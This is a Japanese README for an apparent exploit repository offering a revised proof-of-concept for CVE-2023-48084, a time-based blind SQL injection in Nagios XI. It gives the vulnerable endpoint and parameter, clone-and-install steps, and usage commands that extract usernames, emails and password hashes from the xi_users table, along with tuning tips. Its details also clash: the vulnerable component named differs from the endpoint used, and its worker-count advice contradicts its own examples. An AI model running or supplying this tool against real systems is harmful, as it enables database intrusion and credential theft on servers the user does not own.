CVE-2023-48084 — 更新版PoC

リポジトリ: MettHK/CVE-2023-48084-Revised

Hamibubu/CVE-2023-48084 の更新版で、 マルチスレッド、二分探索による抽出、データベース/テーブル/カラム選択用のCLIフラグを備えています。

元のリポジトリではありません。 これは派生的・改良版のPoCです。元の作業の功績は Hamibubu に帰属します。

免責事項

許可されたセキュリティテストおよび教育目的のみを対象としています。所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。著者および貢献者は誤用について責任を負いません。

脆弱性について

CVE-2023-48084: Nagios XI バージョン 5.11.3 より前には、一括変更ツールを介したSQLインジェクションの脆弱性があります。

このPoCは、以下の箇所の時間ベースのブラインドSQLインジェクションを利用します：

/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=(SQL)

有効な非管理者セッションCookie（nagiosxi）またはAPIトークンが必要です。

元の版からの変更点

要件

• Python 3.8+
• requests（必須）
• pwntools（任意。より見やすいプログレス出力）

git clone https://github.com/MettHK/CVE-2023-48084-Revised.git
cd CVE-2023-48084-Revised
pip install -r requirements.txt

使用方法

# Interactive (discover schemas → tables → columns)
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -c '<cookie>'
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -a '<api_token>'

# Fast path: database + table + columns known
python3 CVE-2023-48084.py \
  -u https://target.example/nagiosxi \
  -c '<cookie>' \
  -d nagiosxi \
  -t xi_users \
  -C username,email,password \
  -w 15 \
  --delay 1.2

2つ以上のワーカーを使うことはお勧めしません。結果が正しくなくなる可能性があります。

オプション

ヒント

• 誤った文字 / ノイズの多い結果 → --delay を増やす（例: 2）か、-w を減らす（例: 5）。
• 安定していて高速なターゲット → より多くのワーカー（-w 15–20）を試す。
• 対象のスキーマが既に分かっている場合は、長い探索を避けるために -d / -t / -C を優先する。